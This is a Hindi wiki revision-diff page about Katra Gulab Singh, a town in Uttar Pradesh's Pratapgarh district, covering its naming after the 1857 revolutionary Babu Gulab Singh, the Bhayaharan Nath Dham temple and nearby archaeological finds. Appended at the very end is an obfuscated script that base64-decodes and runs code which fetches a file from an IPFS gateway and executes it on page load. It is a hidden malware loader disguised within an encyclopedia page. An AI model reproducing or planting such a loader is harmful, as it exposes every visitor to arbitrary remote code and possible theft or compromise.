Difference between revisions of "कटरा गुलाब सिंह"

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
m (Text replace - "बाजार" to "बाज़ार")
(यथाउचित सुधार)
 
(7 intermediate revisions by one other user not shown)
Line 1: Line 1:
 
[[चित्र:bhayaharan nath dham.jpg|250px|thumb|right|[[भयहरणनाथ धाम|बाबा भयहरणनाथ धाम]], कटरा गुलाब सिंह]]  
 
[[चित्र:bhayaharan nath dham.jpg|250px|thumb|right|[[भयहरणनाथ धाम|बाबा भयहरणनाथ धाम]], कटरा गुलाब सिंह]]  
'''कटरा गुलाब सिंह''' [[उत्तर प्रदेश]] प्रांत के [[प्रतापगढ़ ज़िला|प्रतापगढ़ ज़िले]] के सदर तहसील अंतर्गत एक ग्रामीण कस्बा है, जो [[बकुलाही नदी]] के किनारे बसा है। प्रतापगढ़ ज़िला मुख्यालय से 30 किलोमीटर तथा राजधानी [[लखनऊ]] से 160 किलोमीटर दूरी पर जनपद मुख्यालय के दक्षिणांचल व [[इलाहाबाद]] ([[प्रयाग]]) ज़िले के उत्तरांचल मे जनपदीय सीमा पर स्थित है। ऐतिहासिक व [[पुरातत्त्व|पुरातात्विक]] दृष्टि से यह स्थान काफी संपन्न माना जाता है। प्रदेश का सुविख्यात महाभारतकालीन पौराणिक तीर्थ [[भयहरणनाथ धाम|बाबा भयहरणनाथ धाम]], कटरा गुलाब सिंह बाज़ार के पूर्व दिशा मे उत्तरमुखी बालकुनी तट पर अवस्थित है।
+
'''कटरा गुलाब सिंह''' [[उत्तर प्रदेश]] प्रांत के [[प्रतापगढ़ ज़िला|प्रतापगढ़ ज़िले]] के सदर तहसील अंतर्गत एक नगर पंचायत शहर है, जो [[बकुलाही नदी]] के किनारे बसा है। प्रतापगढ़ ज़िला मुख्यालय से 30 किलोमीटर तथा राजधानी [[लखनऊ]] से 160 किलोमीटर दूरी पर जनपद मुख्यालय के दक्षिणांचल व [[इलाहाबाद]] ([[प्रयाग]]) ज़िले के उत्तरांचल मे जनपदीय सीमा पर स्थित है। ऐतिहासिक व [[पुरातत्त्व|पुरातात्विक]] दृष्टि से यह स्थान काफ़ी संपन्न माना जाता है। प्रदेश का सुविख्यात महाभारतकालीन पौराणिक तीर्थ [[भयहरणनाथ धाम|बाबा भयहरणनाथ धाम]], कटरा गुलाब सिंह बाज़ार के पूर्व दिशा मे बकुलाही नदी के तट पर अवस्थित है।  
 
 
[[बौद्ध|बौद्धकालीन]] व [[पांडव|पांडवकालीन]] इतिहास को सँजोए यहाँ का प्राचीन [[सूर्य मंदिर प्रतापगढ़|सूर्य मंदीर]] ग्राम सभा कटरा गुलाब सिहं से 2 किलोमीटर की दूरी पर बाबा धाम के निकट गौरा गाँव मे विद्यमान है।
 
  
 
== नामकरण ==
 
== नामकरण ==
[[चित्र:bhayaharan nath dham1.jpg|250px|thumb|right|[[भयहरणनाथ धाम|बाबा भयहरणनाथ धाम]] ,कटरा गुलाब सिंह]]  
+
[[चित्र:bhayaharan nath dham1.jpg|250px|thumb|right|[[भयहरणनाथ धाम|बाबा भयहरणनाथ धाम]],कटरा गुलाब सिंह]]  
[[प्रतापगढ़ ज़िला|प्रतापगढ़]] जिले का यह कस्बे को तारागढ़ के तालुकेदार व '''स्वतंत्रता सेनानी अमर शहीद बाबू गुलाब सिंह''' द्वारा बसाया गया था। उन्हीं के नाम पर इस स्थान का नाम कटरा गुलाब सिंह अथवा गुलाब सिंह कटरा पड़ा।
+
[[प्रतापगढ़ ज़िला|प्रतापगढ़]] ज़िले के इस नगर को तरौल के तालुकेदार और 1857 के महान क्रांतिकारी [[बाबू गुलाब सिंह]] द्वारा बसाया गया था। उन्हीं के नाम पर इस स्थान का नाम कटरा गुलाब सिंह पड़ा।
  
== इतिहास ==
 
ऐतिहासिक व पौराणिक दृष्टि से महत्वपूर्ण कटरा गुलाब सिंह सन् [[1857]] के महान शहीद बाबू गुलाब सिंह व शहीद बाबू मेंदनी सिंह की कर्मस्थली रह चुकी है। कानपुर के [[नाना साहब]] पेशवा के व्यक्तित्व से प्रभावित होकर तालुकेदार बाबू गूलाब सिंह ने अवध क्षेत्र प्रतापगढ़ मे क्रांति का बिगुल बजाया और उनके साथ उनके भाई बाबू मेंदनी सिंह ने उनका पूर्ण सहयोग दिया।
 
 
[[1857]] की क्रांति मे [[अंग्रेज|अंग्रेजो]] से लड़ते लड़ते [[भारत]] माँ के वीर सपूत क्रांतिकारी बाबू गुलाब सिंह और बाबू मेंदनी सिंह वीरगति को प्राप्त हुए। इस शहादत के बाद सन [[1858]] मे प्रतापगढ़ रियासत [[उत्तर प्रदेश]] के एक नए ज़िले के रूप मे अस्तित्व मे आया, लगभग इसी दरम्यान शहीद बाबू गुलाब सिंह के याद में श्रद्धाजंली स्वरूप अधिकारिक तौर पर इस क्षेत्र को कटरा गुलाब सिंह ग्राम घोषित किया गया।
 
 
== पौराणिक महत्व ==
 
== पौराणिक महत्व ==
 
[[चित्र:katra gulab singh.jpg|250px|thumb|right|प्राप्त भग्नावशेष]]  
 
[[चित्र:katra gulab singh.jpg|250px|thumb|right|प्राप्त भग्नावशेष]]  
यह कस्बा [[वाल्मीकि]] [[रामायण]] मे वर्णित पतित पावनी नदी [[बकुलाही नदी|बालकुनी]] (बकुलाही) के किनारे बसा हुआ है। यहाँ पर पांडवकालीन [[भयहरणनाथ धाम]] की उत्पत्ति है। मान्यताओ के अनुसार [[अज्ञातवास]] के दौरान [[पांडव]] ने इस क्षेत्र मे निवास किये थे। बकुलाही तीरे पूजन पाठ कर [[शिवलिंग]] की स्थापना की थी। इस क्षेत्र मे प्राप्त [[पुरावशेष]] यहाँ की अमर इतिहास की गाथा बयाँ करती है।
+
यह क़स्बा [[वाल्मीकि]] [[रामायण]] मे वर्णित पतित पावनी नदी [[बकुलाही नदी|बालकुनी]] (बकुलाही) के किनारे बसा हुआ है। यहाँ पर पांडवकालीन [[भयहरणनाथ धाम]] की उत्पत्ति है। मान्यताओ के अनुसार [[अज्ञातवास]] के दौरान [[पांडव]] ने इस क्षेत्र मे निवास किये थे। बकुलाही तीरे पूजन पाठ कर [[शिवलिंग]] की स्थापना की थी। इस क्षेत्र मे प्राप्त [[पुरावशेष]] यहाँ की अमर इतिहास की गाथा बयाँ करती है।
  
 
== पुरातात्विक महत्त्व ==
 
== पुरातात्विक महत्त्व ==
Line 21: Line 15:
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
 +
*ऐतिहासिक स्थानावली | विजयेन्द्र कुमार माथुर |  वैज्ञानिक तथा तकनीकी शब्दावली आयोग | मानव संसाधन विकास मंत्रालय, भारत सरकार
 +
 
==बाहरी कड़ियाँ==
 
==बाहरी कड़ियाँ==
 
==संबंधित लेख==
 
==संबंधित लेख==

Latest revision as of 09:45, 6 April 2024

[[chitr:bhayaharan nath dham.jpg|250px|thumb|right|baba bhayaharananath dham, katara gulab sianh]] katara gulab sianh uttar pradesh praant ke pratapagadh zile ke sadar tahasil aantargat ek nagar panchayat shahar hai, jo bakulahi nadi ke kinare basa hai. pratapagadh zila mukhyalay se 30 kilomitar tatha rajadhani lakhanoo se 160 kilomitar doori par janapad mukhyalay ke dakshinaanchal v ilahabad (prayag) zile ke uttaraanchal me janapadiy sima par sthit hai. aitihasik v puratatvik drishti se yah sthan kafi sanpann mana jata hai. pradesh ka suvikhyat mahabharatakalin pauranik tirth baba bhayaharananath dham, katara gulab sianh bazar ke poorv disha me bakulahi nadi ke tat par avasthit hai.

namakaran

[[chitr:bhayaharan nath dham1.jpg|250px|thumb|right|baba bhayaharananath dham,katara gulab sianh]] pratapagadh zile ke is nagar ko taraul ke talukedar aur 1857 ke mahan kraantikari baboo gulab sianh dvara basaya gaya tha. unhian ke nam par is sthan ka nam katara gulab sianh p da.

pauranik mahatv

250px|thumb|right|prapt bhagnavashesh yah qasba valmiki ramayan me varnit patit pavani nadi balakuni (bakulahi) ke kinare basa hua hai. yahaan par paandavakalin bhayaharananath dham ki utpatti hai. manyatao ke anusar ajnatavas ke dauran paandav ne is kshetr me nivas kiye the. bakulahi tire poojan path kar shivaliang ki sthapana ki thi. is kshetr me prapt puravashesh yahaan ki amar itihas ki gatha bayaan karati hai.

puratatvik mahattv

paandavakalin bhayaharananath dham tatha katara gulab sianh ke nikatavarti kshetroan ke utkhanan se prapt puravashesh mahabharat kalin v bauddh sanskriti ke pratit hote hai. prapt bhagnavasheshoan ko panjikrit kar ilahabad sangrahalay me sanrakshit rakha hai. is kshetr ke do tin ki.mi. paridhi me kam se kam adhe darjan se adhik puratatvik mahatv ke sthan hai.

tika tippani aur sandarbh

  • aitihasik sthanavali | vijayendr kumar mathur | vaijnanik tatha takaniki shabdavali ayog | manav sansadhan vikas mantralay, bharat sarakar

bahari k diyaan

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>